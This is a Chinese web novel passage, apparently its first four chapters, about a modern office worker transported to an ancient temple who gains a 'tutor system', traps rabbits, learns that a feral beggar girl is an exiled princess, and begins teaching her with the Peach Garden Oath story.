《朕的先生,休想逃!》 第一章 穿越,从一个破庙开始 (如果看第一视角感觉别扭的话,请回到这一段评论,我会把视角改到第三视角) 正文。 头疼,疼得像宿醉三天三夜后,又被人拿板砖开了瓢。 顾云舟猛地睁开眼,入目不是熟悉的天花板,也不是医院的惨白,而是一片破破烂爛的房梁,上面还挂着几缕很有年代感的蜘蛛网。 冷。 刺骨的冷风跟不要钱似的从四面八方灌进来,身上那件薄得跟纸一样的古代戏服根本扛不住。 顾云舟一个激灵坐起来,环顾四周。 这是一座破庙,四面漏风,正中间供着一尊塌了半边身子的泥塑佛像,佛像脸上那悲天悯人的微笑,现在瞅着要多诡异有多诡异。 顾云舟低头看了看自己,一身灰扑扑的粗布古装,手上全是泥,指甲缝里黑漆漆的。 胃里像有只手在疯狂搅拌,饿,饿得前胸贴后背。 不是吧…… 顾云舟掐了自己大腿一把,嘶,真他娘的疼。 完了,不是做梦,也不是在哪个古装剧片扬。 我,顾云舟,一个二十一世纪遵纪守法、按时还花呗的优秀社畜,穿越了。 【叮!】 脑子里毫无征兆地响起一个机械音。 【检测到宿主强烈求生欲,帝师辅政系统正在激活……】 【激活进度:1%……】 顾云舟:“……” 好家伙,穿越标配来了。可你这激活进度条是拿蜗牛在爬吗?等您老加载完毕,坟头草都三尺高了! 顾云舟扶着快要散架的老腰,挣扎着站起来。当务之急是找点吃的,再找点能喝的水,不然系统激活了也只能给我的尸体开追悼会。 就在这时,顾云舟眼角余光瞥到破庙的角落里,那堆相对干燥的稻草动了一下。 顾云舟瞬间头皮一麻,浑身汗毛倒竖。 这破地方还有别人? 顾云舟眯着眼仔细看去,只见那堆稻草里蜷着一个人影,黑乎乎的一小坨,看着比自己还狼狈。 像是个小乞丐。 顾云舟刚想开口打个招呼,对方猛地抬起头,露出一双眼睛。 那是一双什么样的眼睛? 又冷又狠,像头饿极了的孤狼,死死地盯着顾云舟,仿佛顾云舟不是同类,而是一块会走路的肉。 他手里还攥着一根削尖了的木棍,木棍的尖端对准顾云舟的方向,喉咙里发出“嗬嗬”的低吼,充满了警告意味。 顾云舟立刻举起双手,掌心朝外,摆出一个国际通用的“我没恶意”的姿势。 “兄弟,别激动,我就是路过。”顾云舟尽量让自己的声音听起来和善可亲,“没想跟你抢地盘。” 对方一言不发,只是那双狼崽子似的眼睛,一刻也没离开顾云舟。 得,这位还是个走高冷路线的。 顾云舟心里吐槽一句,识趣地离那堆稻草远了点。看他那架势,要是再敢靠近一步,那根小木棍绝对会毫不犹豫地戳过来。 硬抢地盘,怕不是要被开瓢。 顾云舟放弃了那块唯一的“风水宝地”,开始在破庙里地毯式搜索。 墙角,没有。柱子后,没有。功德箱?早就被人撬得底朝天了。 就在顾云舟快要绝望的时候,在那尊半塌的佛像后面,摸到了一个硬邦邦的东西。 顾云舟把它掏出来一看,眼睛都直了。 是半块干粮! 虽然又干又硬,边角还长了点绿毛,但在现在这种情况下,这玩意儿不亚于满汉全席! 顾云舟激动得手都在抖,迫不及待地想往嘴里塞。 就在这时,一道劲风从顾云舟侧后方袭来! 顾云舟下意识地一缩脖子,就地一滚,堪堪躲开。回头一看,那个小乞丐已经扑了过来,像头饿疯了的小豹子,目标明确正是手里的半块干粮! 我靠!玩真的啊! 顾云舟来不及多想,求生的本能让顾云舟死死护住干粮,另一只手去格挡他挥过来的木棍。 小乞丐看着瘦小,力气却大得惊人,而且招招都往顾云舟脸上招呼,又狠又刁钻。 这哪是乞丐,这分明是特种兵苗子! 几下交手,顾云舟仗着成年人的体格优势,总算抓住一个空当,直接一个饿虎扑食……不对,是泰山压顶,把他整个人死死压在了身下的稻草堆里。 “服不服!”顾云舟一边喘着粗气,一边恶狠狠地问。 手底下的人拼命挣扎,力道之大,让顾云舟差点压不住。顾云舟低头一看,想用眼神威慑他,结果却愣住了。 这……这不是个小子。 虽然脸上脏得看不出模样,头发也跟鸡窝一样乱糟糟,但喉咙处平平坦坦,没有喉结。胸口虽然平,但骨架纤细,分明是个女孩。 我靠,是个妹子?还是个战斗力爆表的萝莉? 这年头的乞丐都这么卷了吗? 顾云舟这一愣神的工夫,她猛地一扭头,张嘴就朝顾云舟抓着干粮的手咬了过来。 “嘶!” 顾云舟疼得一哆嗦,差点松手。这丫头是属狗的吗?下口真黑! 眼看她就要抢走唯一的食物,顾云舟急了,也顾不上什么怜香惜玉,另一只手直接捏住了她的下巴。 “松口!”顾云舟吼道。 她不但不松,反而用那双狼崽子一样的眼睛瞪着顾云舟,眼神里全是“有本事你弄死我,不然这吃的就归我”的决绝。 顾云舟跟她大眼瞪小眼地僵持了十几秒,最终还是败下阵来。 倒不是打不过,主要是跟一个小姑娘抢吃的,这张老脸实在是挂不住。 再说,真把她惹急了,抱着自己同归于尽,那可就亏大了。 顾云舟叹了口气,松开了捏着她下巴的手。 “行了行了,怕了你了。”顾云舟没好气地说,“我分你一半,总行了吧?” 她似乎没听懂,依旧死死咬着顾云舟的手不放,眼神里全是戒备。 顾云舟简直哭笑不得,只能用单手,费劲地把那半块干粮举到她眼前。 “看见没?吃的!”顾云舟晃了晃,“松口,就分你。不然,咱俩谁也别吃,就搁这儿耗着,一起饿死。” 也许是“吃的”两个字起了作用,她咬着顾云舟的力道终于松了些,但眼睛还是死死盯着那块干粮。 顾云舟见状,忍着疼,小心翼翼地把干粮上发霉最狠的那一圈给掰了下来,扔到一边。然后,把剩下那块相对干净的,用力掰成了两半。 一大一小。 顾云舟犹豫了零点五秒,把大的那半递到了她嘴边。 “喏,你的。” 她整个人都僵住了,像一尊被按了暂停键的雕像。 咬着顾云舟手的嘴巴,缓缓松开。那双一直充满凶狠和戒备的眼睛里,第一次出现了别的情绪。 是惊愕,和一种顾云舟看不懂的茫然。 她呆呆地看着顾云舟递过去的干粮,又抬头看了看顾云舟的脸,似乎不敢相信。 “快吃吧,凉了更硬。”顾云舟催促道。 她迟疑着,伸出那只空着的手,用两根手指飞快地捏过那块干粮,然后闪电般地缩了回去,整个人也往后蹭了蹭,跟顾云舟拉开安全距离。 接着,她就像只护食的小松鼠,背对着顾云舟,把那块干预塞进嘴里,狼吞虎咽地嚼了起来。 顾云舟看着自己手背上那个清晰的牙印,疼得直咧嘴。 真是个小野猫。 顾云舟把剩下那一小半塞进嘴里,那干粮硬得硌牙,还有一股子霉味,难以下咽。但还是逼着自己一口一口地嚼碎,吞下去。 胃里的灼烧感总算缓解了一点。 吃完东西,破庙里又陷入了死寂。 她依旧蜷在角落里,抱着那根木棍,只是这次没有再用那种要吃人的眼神看顾云舟了。偶尔瞥过来一眼,眼神也复杂了许多。 顾云舟靠着冰冷的墙壁,开始思考人生。 穿越,系统,一个战斗力爆表的萝莉乞丐。 这开局,怎么看都不像是种田流或者赘婿流的剧本啊。 【叮!】 脑子里的机械音又响了,这次清晰了不少。 【系统激活进度:10%……新手任务发布!】 【任务名称:帝师的初遇】 【任务目标:获取你未来学生的初步信任。】 【任务奖励:干净的水源x1,疗伤药x1。】 【失败惩罚:无。】 顾云舟看着任务面板,陷入了沉思。 未来的学生? 顾云舟下意识地看向角落里那个抱着木棍,满脸警惕,随时准备跟自己拼命的小乞丐。 不是吧阿sir,开局地狱难度,新手教程还得我自己打怪解锁? 第二章 系统,绑定 这系统八成是有点什么毛病。 顾云舟盯着面板上“未来的学生”那几个大字,又瞅了瞅角落里那个恨不得把自己缩成一团、浑身散发着“生人勿近”气息的小野猫,感觉自己的世界观正在被按在地上反复摩擦。 教她?教她怎么更高效地咬人吗? 就她刚才那股狠劲儿,顾云舟毫不怀疑,只要自己敢靠近,她那根削尖的木棍下一秒就能戳穿自己的喉咙。 这哪里是学生,这分明是祖宗。 【叮!】 【新手任务已发布,请宿主尽快完成,为帝师之路打下坚实的基础。】 系统的声音毫无感情,透着一股子“我发任务你闭嘴”的霸道。 顾云舟翻了个白眼。 还帝师之路?先解决温饱问题好吗! 肚子里那点干粮早就消化没了,新一轮的饥饿感如同潮水般涌来,烧得他胃里火辣辣的疼。 靠那半块发霉的饼子,跟给沙漠浇杯水似的,根本不顶用。 再不想办法,别说当帝师,他跟这小野猫就得成一对儿饿死鬼,在这破庙里相伴到地老天荒。 不行,得自救。 顾云舟挣扎着站起来,靠着墙壁,目光开始在破庙里四处搜寻。 这庙破得跟被洗劫过一百遍似的,除了半塌的佛像和一堆稻草,连个耗子洞都找不着。 他只能把希望寄托在外面。 顾云舟拖着虚浮的脚步走到庙门口,往外一瞅。 庙外是一片荒草地,远处是光秃秃的林子。 就在他快要绝望的时候,眼神忽然一凝。 在庙门口不远处的泥地上,有几串小小的、梅花状的脚印。 兔子! 顾云舟的眼睛瞬间就亮了,亮的跟两百瓦的灯泡似的。 这可是移动的蛋白质啊! 他上学那会儿虽然是个学渣,但好歹也是受过九年义务教育熏陶的,初中物理那点东西还没忘干净。做什么复杂的捕兽夹他不行,但搞个最简单的套索陷阱和重力陷阱,还是有操作空间的。 说干就干! 顾云舟二话不说,转身就开始在破庙周围扒拉。 角落里那只小野猫,也就是萧青鸾,一直用警惕的眼神盯着他。 看他先是捡了几根相对结实的藤蔓,又找了几根粗细不一的树枝,然后蹲在地上,用一块尖锐的石头吭哧吭哧地打磨。 她完全看不懂这人在干什么。 那眼神,就跟看一个傻子在玩泥巴没什么区别。 顾云舟懒得理她,一门心思扑在自己的“大计”上。 他先是把藤蔓搓成一个活扣,然后找到一棵弹性十足的小树,用力把它压弯,用一个简易的“四”字形木头结构卡住。套索就放在结构下方,上面再撒点草叶子当伪装。 只要有倒霉兔子路过,一脚踩中,机关触发,小树“嗖”地一下弹回去,就能把它吊个半死。 为了保险起见,他又在另一处兔子脚印密集的地方,用一块大石板和几根木棍搭了个更原始的重力陷阱。 简单,粗暴,有效。 做完这一切,顾云舟拍了拍手上的土,感觉身体被掏空。 他拖着步子回到庙里,一屁股坐下,累得像条死狗。 萧青鸾抱臂靠在门边,眼神里明晃晃地写着“你是不是有病”。 在她看来,这个男人在外面折腾了半天,两手空空地回来,不是白费力气是什么?有这功夫,还不如省点力气睡觉。 顾云舟冲她咧嘴一笑,没说话。 等着瞧好吧,小丫头片子。 让你见识见识什么叫来自二十一世纪的降维打击。 时间一分一秒过去,天色渐渐暗了下来。 破庙里没火,冷得像个冰窖。 顾云舟的肚子叫得跟打雷一样,他估摸着时间差不多了,便站起身,对角落里的萧青鸾招了招手。 “走了,带你去看好东西。” 萧青鸾没动,只是用那双狼崽子一样的眼睛警惕地看着他。 顾云舟也不勉强,自己一个人朝外走去。 他刚走出没两步,身后就传来了轻微的脚步声。 回头一看,小野猫果然还是跟上来了,手里紧紧攥着她那根宝贝木棍,隔着七八米的“安全距离”。 呵,嘴上说不要,身体倒是很诚实嘛。 顾云舟心里偷笑,领着她先走向那个套索陷阱。 离得老远,他就看到那棵被压弯的小树已经弹了回去,笔直地立在那里。 成了! 他心头一喜,加快了脚步。 走近一看,一根藤蔓绷得笔直,末端,一只灰色的肥兔子正在半空中拼命地蹬着腿,发出“吱吱”的惨叫。 顾云舟乐得差点蹦起来。 他回头想跟小野猫炫耀一下,结果发现她已经完全呆住了。 萧青鸾的眼睛瞪得溜圆,小嘴微张,死死地盯着那只被吊在半空的兔子,脸上写满了“这他特么是什么情况”的震惊。 她从小在山野间挣扎求生,见过猎人下套,但从没见过这么……神奇的法子。 不用人守着,不用费力追赶,一棵树,一根藤,几根破木头,就能把一只活蹦乱跳的兔子给吊起来? 这简直跟神仙法术一样! 顾云舟看着她那副没见过世面的样子,成就感瞬间爆棚。 他走过去,一把抓住还在挣扎的兔子,干净利落地扭断了它的脖子。 然后,他又带着已经陷入石化状态的萧青鸾,走向另一处陷阱。 还没等走近,就看到那块大石板已经塌了下来。 顾云舟搬开石板,下面果然又压着一只,虽然被砸得有点血肉模糊,但个头比刚才那只还大。 两只!今晚能吃顿饱的了! 顾云舟一手拎着一只兔子,感觉自己的人生已经到达了巅峰。 他得意洋洋地冲着萧青鸾晃了晃手里的战利品,挑了挑眉。 “怎么样?服不服?” 萧青鸾没说话,她的目光已经完全黏在了那两只兔子上,喉头不自觉地上下滚动了一下,口水差点从嘴角流出来。 那眼神,是混杂着极度渴望和难以置信的震撼。 就在顾云舟内心的小人叉腰狂笑,准备接受未来学生的顶礼膜拜时,脑海里那个冰冷的机械音,毫无预兆地再次炸响。 【叮!】 【检测到宿主运用超时代知识,成功改善生存环境,展现出卓越的教化潜质……】 【“帝师”潜质判定通过!】 【帝师辅政系统正式激活!】 顾云舟被这突如其来的动静吓得一哆嗦,手里的兔子差点掉地上。 我靠?幻觉?饿出幻听了? 还没等他反应过来,那个声音又响了。 【系统激活完毕,开始绑定辅佐目标……】 【扫描范围内搜索中……】 【检测到唯一符合条件的目标,大炎皇室血脉(衰弱状态)!】 下一秒,一道只有顾云舟能看见的淡蓝色虚拟光幕,在他眼前“唰”地一下展开。 光幕上,一个硕大的、闪着金光的箭头凭空出现,箭头末端还带着一圈骚包的动态光晕。 然后,在顾云舟惊恐的注视下,那个箭头…… 直直地指向了他身边,那个正伸着脖子,死死盯着兔子,口水已经快要拉成丝的…… 小乞丐。 顾云舟的笑容,僵在了脸上。 他缓缓地,一寸一寸地,扭过头,看着身边这个满脸污垢、头发打结、衣衫褴褛、眼神里除了兔子再也容不下别的东西的小丫头。 大炎皇室血脉? 就她? 顾云舟感觉自己脑子“嗡”的一声,仿佛被一道天雷劈中了天灵盖。 整个人,彻底麻了。 第三章 她的身份 他僵硬地看着眼前这个口水都快流到下巴上的小丫头,感觉自己的CPU快烧了。 大炎皇室血脉? 就这? 这造型,说是丐帮未来的希望之星他都信。 开什么国际玩笑! 但他手里的两只兔子是实打实的,肚子里震天响的饥饿感也是实打实的。 震惊归震惊,饭,还是要吃的。 顾云舟深吸一口气,强行把脑子里那堆乱七八糟的弹幕压下去。管她是什么血脉,天塌下来也得等他填饱肚子再说。 他面无表情地拎着两只兔子回到破庙,萧青鸾的目光就像探照灯一样,死死锁定着他手里的“战利品”,随着他的移动而移动。 那眼神,仿佛要把兔子直接瞪熟。 顾云舟懒得理她,从腰间摸出一把不知道哪个倒霉蛋前任留下来的、锈迹斑斑的小刀,开始处理兔子。 动作一气呵成,剥皮,去内脏,一串操作行云流水,看得旁边的小野猫眼珠子都快瞪出来了。 这熟练度,不像是读书人,倒像是专业的屠夫。 顾云舟在现代虽然是个社畜,但好歹也是个喜欢户外野营的社畜,处理这点东西,洒洒水啦。 很快,两只处理干净的兔子就被他用削尖的树枝串了起来,架在临时搭起的火堆上。 他不知道从哪摸出个火折子,吹了吹,火苗“呼”地一下就窜了起来,舔着干枯的木柴,发出“噼啪”的轻响。 昏暗的破庙里,瞬间有了光和热。 萧青鸾下意识地往火堆边上凑了凑,但依旧保持着警惕的距离,只是那双眼睛,已经彻底焊死在了那两串兔肉上。 随着温度升高,兔肉表面的水分被烤干,油脂开始“滋啦滋啦”地往外冒。 金黄色的油滴落在火堆里,腾起一小股青烟,一股难以言喻的肉香瞬间炸开,霸道地侵占了破庙里的每一寸空气。 “咕噜……” 一个不合时宜的声音响起。 萧青鸾的脸“唰”地一下红了,像是被踩了尾巴的猫,猛地捂住自己的肚子,恶狠狠地瞪了顾云舟一眼,仿佛这声音是他弄出来的一样。 顾云舟心里乐开了花,脸上却不动声色。 他慢悠悠地转动着木棍,让兔肉受热均匀,那股焦香混合着肉香的味道越来越浓,越来越勾人。 对于一个饿了不知道几天的人来说,这味道,简直就是世界上最残忍的酷刑。 萧青鸾的喉头在不断地滚动,嘴唇抿得发白,死死攥着那根木棍的手,指节都因为用力而泛白。她在用全身的力气,对抗着来自肚子的强烈抗议。 顾云舟看火候差不多了,兔肉已经烤得外焦里嫩,金黄油亮,便不再折磨她。 他撕下一条最肥美的兔腿,油光闪闪,热气腾腾。 香气扑鼻而来,近在咫尺。 萧青鸾的呼吸都停滞了。 顾云舟没看她,自顾自地把兔腿凑到嘴边,作势要咬。 “想吃吗?” 他忽然开口,声音在安静的破庙里格外清晰。 萧青鸾的身体猛地一颤,眼神瞬间从兔腿移到了他的脸上,警惕、渴望、愤怒,种种情绪交织在一起,复杂得像一团乱麻。 她不说话,只是死死地盯着他。 顾云舟笑了笑,晃了晃手里的兔腿,香气又一次飘了过去。 “想吃,就拿东西来换。” 萧青鸾的眼神瞬间冷了下来,握着木棍的手又紧了几分。 “我什么都没有。”她的声音沙哑得像是砂纸在摩擦。 “不,你有。”顾云舟的目光锐利起来,像两把手术刀,要剖开她所有的伪装,“我要的不是你那根破木棍,也不是别的什么。我只要……实话。” 萧青鸾的瞳孔骤然一缩。 顾云舟不再看她,当着她的面,狠狠地咬了一口手里的兔腿。 “嘶,咔嚓!” 焦脆的表皮被咬开,滚烫的肉汁在嘴里爆开,鲜嫩的兔肉带着原始的焦香,瞬间席卷了整个味蕾。 好吃!太他特么好吃了! 顾云舟脸上露出了极度夸张的享受表情,还故意发出了满足的咀嚼声。 每一个声音,都像一把小锤子,狠狠敲在萧青鸾的神经上。 她的肚子叫得更响了,这次她连捂都懒得捂了,一双眼睛里几乎要喷出火来。 “一个普通的小乞丐,饿急了只会抢,只会偷。”顾云舟一边嚼着肉,一边含糊不清地说道,“但你不一样。你虽然凶,但你的眼神里有藏不住的骄傲。你打架的路数,也不是街头混混那种王八拳,更像是……受过某种训练。” 他顿了顿,咽下嘴里的肉,目光灼灼地盯着她。 “你到底是谁?不说实话,这剩下的兔子,你连骨头都别想嗦一口。” 心理攻势,加上美食诱惑,双重暴击。 萧青鸾的呼吸变得急促起来,胸口剧烈地起伏着。 饥饿像一只无形的大手,死死攥住了她的胃,让她头晕眼花。而眼前这个男人,就像一个魔鬼,拿着通往天堂的钥匙,对她进行着最残忍的戏弄。 她的骄傲,她的伪装,在最原始的生存本能面前,被一寸寸地撕裂、碾碎。 时间一分一秒地过去。 火光在两人脸上跳跃,将他们的影子拉得老长。 终于,在顾云舟啃完半条兔腿,准备去撕另一条的时候,萧青鸾的防线,彻底崩溃了。 她像是泄了气的皮球,浑身紧绷的肌肉松弛下来,紧握的木棍“哐当”一声掉在地上。 她颤抖着手,伸进自己贴身的、破烂不堪的衣物里,小心翼翼地摸索着。 片刻之后,她掏出了一个用灰布层层包裹的小东西。 她把布一层层解开,动作虔诚得像是在对待一件稀世珍宝。 最后,一枚通体温润、在火光下泛着柔和光泽的玉佩,出现在她满是污垢的手心。 玉佩上,雕刻着繁复而威严的龙纹。 那精湛的工艺,那非凡的材质,无一不在昭示着它主人的身份,尊贵无比。 这块玉佩,跟她此刻的形象,形成了最荒诞、最强烈的反差。 “我……” 她抬起头,那双狼崽子般的眼睛里,第一次褪去了凶狠,只剩下无尽的疲惫和一丝认命的沙哑。 “我叫萧青鸾。” “大炎王朝,当今圣上的第十七女。” 一字一句,像是从牙缝里挤出来的。 话音落下,破庙里死一般的寂静。 顾云舟拿着兔腿的手,停在了半空中。 虽然早就被系统剧透,但当亲耳听到这个小乞丐说出自己的身份时,那种冲击力,还是让他心头巨震。 这剧本,真他特么刺激。 就在这时,脑海里那个冰冷的机械音,如约而至。 【叮!】 【目标身份已确认:萧青鸾。】 【主线任务正式发布】 【第一卷:龙潜于渊】 【任务目标:辅佐大炎皇女萧青鸾,登临帝位!】 【任务奖励:任务成功后,宿主可选择返回原世界。】 【任务失败:与此方世界一同湮灭。】 轰! 顾云舟感觉自己的灵魂都跟着颤抖了一下。 返回原世界! 这四个字,像一道惊雷,像一剂强心针,狠狠地扎进了他的心脏! 他穿越过来,最大的愿望是什么?不是称王称霸,不是三宫六院,就是回家!回到那个有空调有WiFi有外卖的快乐老家! 现在,系统给了他一条路。 一条看起来无比荒诞,但却是唯一能回家的路! 辅佐一个落魄公主登基? 听起来像是地狱级难度的副本。 但为了回家,别说地狱级,就算是十八层地狱直通车,他也得去闯一闯! 失败的惩罚是“一同湮灭”? 呵,无所谓了,反正完不成任务,在这鬼地方估计也活不了多久。 一瞬间,顾云舟心中的迷茫、震惊、错愕,全都被一股前所未有的动力所取代。 他的眼神变了。 如果说之前,他看萧青鸾,是看一个麻烦的小野猫。 那么现在,他看她,就是在看自己回家的那张……唯一船票! 他的脸上,缓缓绽开一个笑容。 一个堪称温和、儒雅,甚至带着一丝悲天悯人意味的笑容。 影帝,上线! 他将手里剩下的大半只烤兔子,连带着那根已经被他啃了一半的兔腿,一起递到了萧青鸾的面前。 萧青鸾愣住了。 她呆呆地看着眼前的烤肉,又抬头看了看顾云舟脸上那一百八十度大转变的、堪称“和蔼可亲”的笑容,一时间没反应过来。 这个男人,刚才还像个逼良为娼的恶霸,怎么一转眼,就变成普度众生的活菩萨了? “殿下。” 顾云舟的声音温柔得能掐出水来。 “想不想……拿回本该属于你的一切?” 他顿了顿,看着萧青鸾那双因震惊而瞪大的眼睛,笑容愈发深邃,像一个诱人堕落的魔鬼。 “想不想把那些把你害到如此境地的人,全部踩在脚下?” “想不想……把整个天下,都抢回来?” 第四章 先生的第一课 她瞪着顾云舟,手里还捧着那只散发着致命香气的烤兔子,整个人像被雷劈过的木桩子,一动不动。 抢天下? 踩在脚下? 拿回一切? 这三个词,每一个都像一把重锤,狠狠砸在她的心口。她不是没想过,在无数个被追杀的、饥寒交迫的夜晚,她都曾咬着牙幻想过。 可那终究是幻想。 现实是,她连下一顿饭在哪里都不知道。 而眼前这个男人,前一刻还像个讨债的恶鬼,这一刻却化身成了指点江山的世外高人。这角色切换速度,比翻书还快,让她严重怀疑他是不是脑子有什么毛病。 “你……”她喉咙发干,好半天才挤出一个字,“……是谁?” “我?”顾云舟笑得高深莫测,心里却在疯狂吐槽。 我是谁?我是你回家的马仔啊我的姑奶奶! 他清了清嗓子,摆出一副“高人风范”:“我名顾云舟。你可以视我为……一个能帮你实现梦想的人。” 这话说得,他自己都想吐。太中二了。 可偏偏,萧青鸾吃这一套。 她看着顾云舟那双深邃的眼睛,那里面的自信和笃定,仿佛不是在画大饼,而是在陈述一个既定的事实。 她沉默了。 低头,狠狠地撕下一大块兔肉,不顾烫嘴,狼吞虎咽地塞进嘴里。 肉香在口腔里炸开,温暖的能量顺着食道滑入胃里,驱散了持续已久的饥饿和寒冷。身体的复苏,让她的脑子也重新开始运转。 信他吗? 一个来历不明的男人,用着闻所未闻的手段抓兔子,说着石破天惊的话。 不信他吗? 自己现在除了这条烂命,还有什么能被骗的? 赌一把! 萧青鸾咽下最后一口肉,舔了舔油光光的嘴唇,眼神重新变得锐利起来。 她站起身,擦了擦嘴。 “你跟我来。” 顾云舟挑了挑眉,没多问,拎起剩下的半只兔子,跟了上去。 他倒要看看,这位落魄公主,还有什么底牌。 萧青鸾带着他,没有走远,只是绕到了破庙后方一处不起眼的山壁下。拨开一丛半人高的灌木,一个黑乎乎的山洞口露了出来。 一个潮湿的山洞,散发着浓重的草药和霉味。 “刘嬷嬷?”萧青鸾的声音放轻了许多,带着一丝连她自己都没察觉的孺慕之情。 山洞深处,传来一阵压抑的、虚弱的咳嗽声。 接着,一个满头白发、脸上布满皱纹的老妇人,拄着一根树枝,颤颤巍巍地走了出来。 她身上穿着同样破烂的粗布衣服,脸色蜡黄,一看就是久病缠身。 当看到女儿家身后的顾云舟时,老妇人浑浊的眼睛里瞬间迸发出警惕的光芒,像一只护崽的老母鸡,立刻张开了瘦弱的翅膀,将萧青鸾护在身后。 “殿下!此人是谁?!”她的声音沙哑,却透着一股不容置疑的决绝。 “刘嬷嬷,别紧张。”萧青鸾抓住她的手臂,低声道,“他……是自己人。” “自己人?”刘嬷嬷上上下下地打量着顾云舟,眼神里的怀疑几乎要溢出来,“殿下,人心险恶,不可轻信啊!” 顾云舟心里啧了一声。 得,忠心护主的老管家角色出扬了。看这病恹恹的样子,估计也是强弩之末。 他没有说话,只是默默地将手上拎着的半只烤兔递了过去。 什么话,都没有一块热乎乎的肉来得实在。 刘嬷嬷的视线落在那烤得金黄流油的兔肉上,喉头不自觉地滚动了一下。她显然也饿了很久。 但她还是死死地盯着顾云舟,没有接。 萧青鸾叹了口气,把玉佩的事和顾云舟的“豪言壮语”简单说了一遍。当然,她很聪明地隐去了自己是被美食诱惑才招供的丢人细节。 刘嬷嬷听完,脸上的震惊比刚才的警惕更甚。 她呆呆地看着顾云舟,又看了看萧青鸾,嘴巴张了半天,最后化作一声长长的叹息,整个人仿佛被抽走了所有力气。 “罢了……罢了……” 到了这个地步,还有什么好选的呢? 三人回到破庙,火堆烧得更旺了。 刘嬷嬷分到了一条兔腿,吃得很慢,一边吃,一边咳嗽,但精神明显好了许多。 吃饱喝足,气氛总算没那么剑拔弩张了。 顾云舟看着眼前这一老一小,一个虽是公主之尊,却像只受惊的野猫,另一个忠心耿耿,却命不久矣。 这班底,简直比白纸还干净。 不行,得赶紧进行思想武装,不然这船票随时可能自己作废。 “咳。”顾云舟清了清嗓子,成功吸引了两人的注意力。 “殿下,刘嬷嬷。”他摆出一副说书先生的架势,“闲来无事,我给你们讲个我们家乡的故事吧。” 家乡的故事? 萧青鸾和刘嬷嬷都愣了一下。她们对顾云舟的来历好奇到了极点。 “我们那个地方啊,很久很久以前,也跟现在的大炎一样,天下大乱,皇帝说话跟放屁似的,各地诸侯天天琢磨着怎么把邻居的家当抢过来。” 这粗俗的比喻让刘嬷嬷眉头一皱,但萧青鸾的眼睛却亮了。 这话,她爱听。太他特么形象了。 “当时啊,有个叫刘备的家伙。”顾云舟靠在佛像上,翘起二郎腿,“他自称是皇室后裔,中山靖王之后。听着名头挺大,其实呢?穷得叮当响,靠织草鞋、卖草鞋为生。” “卖草鞋的?”萧青鸾一脸不可思议。 在她认知里,皇室后裔,再不济也是锦衣玉食。 “对,摆地摊的。”顾云舟点头,心里补充道:还是个没本钱的个体户。 “这刘备啊,虽然穷,但有个优点,就是特别会拉拢人心,整天把‘匡扶汉室’挂在嘴边。有一天,他在街上发招兵榜文,正看到一半,身后传来一个声音,跟打雷似的:‘大丈夫不与国家出力,何故长叹?’” 顾云舟故意压着嗓子,模仿出粗豪的声线。 萧青鸾和刘嬷嬷听得入了神,仿佛看到了那个画面。 “刘备一回头,嚯!好家伙!一个大汉,身高八尺,豹头环眼,燕颔虎须,声若巨雷,势如奔马!” “这人叫张飞,是个杀猪卖酒的屠户,家里有点小钱。” “两人一见如故,就跑到个小酒馆里喝酒吹牛。正喝着呢,门口又推进来一辆车,一个红脸大汉走进来,对着店小二喊:‘快斟酒来吃,我待赶入城中投军。’” “刘备一看,又挪不动眼了。这人身长九尺,髯长二尺,面如重枣,唇若涂脂,丹凤眼,卧蚕眉,相貌堂堂,威风凛凛!” “刘备就把他也请过来一起喝。一问,这人叫关羽,因为在家乡杀了仗势欺人的恶霸,逃难江湖五六年了。” 顾云舟讲得口沫横飞,把一个卖草鞋的、一个杀猪的、一个通缉犯,讲得活灵活现。 “刘备就把自己的远大抱负,也就是匡扶汉室,跟他们俩一说。张飞当扬就拍板了:‘我家庄后有一桃园,花开正盛。明日当于园中祭告天地,我三人结为兄弟,协力同心,然后可图大事!’” “第二天,三个人就在桃花盛开的园子里,焚香叩拜,发下誓言:不求同年同月同日生,但求同年同月同日死!” 故事讲到这里,顾云舟停了下来。 破庙里,只有火堆燃烧的“噼啪”声。 萧青鸾和刘嬷嬷都听呆了。 一个皇室后裔、一个屠户、一个逃犯……这三个人,怎么看都不搭界,竟然能结为兄弟,还要一起干大事? 这故事,太新奇了!比宫里那些酸儒讲的经义要有趣一万倍! “殿下。”顾云舟看着萧青鸾,目光灼灼,“你从这个故事里,听出了什么?” 萧青鸾愣住了,这是她第一次被人用这种方式提问。 以前的太傅,只会让她背书,背不出来就打手心。 她皱着眉,认真地思索起来。 刘备……很穷,但有野心。 关羽、张飞……一个有武艺,一个有钱有势。 三个人…… “他……他一个人势单力薄,所以要找帮手?”萧青鸾有些不确定地说道。 “说对了一半。”顾云舟赞许地点点头,孺子可教也。 他坐直了身子,语气变得严肃起来:“刘备一穷二白,要人没人,要钱没钱。他最大的本钱是什么?” 他伸出一根手指。 “是他的身份?皇室后裔?”刘嬷嬷插嘴道。 “那玩意儿,当时满大街都是,不值钱。”顾云舟撇撇嘴,“他最大的本钱,是关羽和张飞!” “他用自己的理想和诚意,换来了两个愿意为他卖命的兄弟!一个武艺盖世,一个家有资财。这,就是他最初的班底!是他未来争夺天下的基石!” “殿下,您想想。如果没有关羽和张飞,刘备就算把‘匡扶汉室’的口号喊到死,也还是一个卖草鞋的。可有了他们,他就能招兵买马,就能逐鹿中原!” 这番话,如同一道闪电,劈开了萧青鸾混沌的思绪。 她猛地转头,看向身边的刘嬷嬷。 刘嬷嬷也浑身一震,看着自家殿下。 是啊…… 殿下现在,不也和那刘备一样,几乎一无所有吗? 而自己,虽然病弱,却是唯一陪在她身边的人。 顾云舟看着她们的神情变化,知道火候到了。 他加了最后一把柴。 “刘备给了关羽、张飞尊重和信任,所以他们愿意豁出性命追随。殿下,您现在虽然身处困境,但您并非一无所有。” 他的目光,落在了刘嬷嬷身上。 “您有刘嬷嬷的忠诚。她,就是您最初的‘关羽’和‘张飞’。虽然她不能像他们一样万夫莫敌,但这份忠心,千金不换。” 刘嬷嬷的眼眶,瞬间就红了。 她做梦也想不到,自己一个行将就木的老奴,竟然能被比作那故事里威风凛凛的大英雄。 她激动地看着萧青鸾,嘴唇哆嗦着:“殿下……” 萧青鸾的心,也被狠狠地触动了。 她一直都知道刘嬷嬷忠心,但在她潜意识里,这似乎是理所当然的。 可今天,被顾云舟这么一点拨,她才意识到,这份在绝境中不离不弃的陪伴,是多么珍贵的一笔财富。 这是她的班底。 是她仅有的,也是最可靠的班底。 她伸出手,紧紧握住了刘嬷嬷那双冰冷而粗糙的手,郑重地说道:“嬷嬷,以后,我们就是一家人。” 刘嬷嬷的眼泪,再也忍不住,夺眶而出。 顾云舟满意地看着这一幕。 很好,团队凝聚力+1,思想建设初见成效。 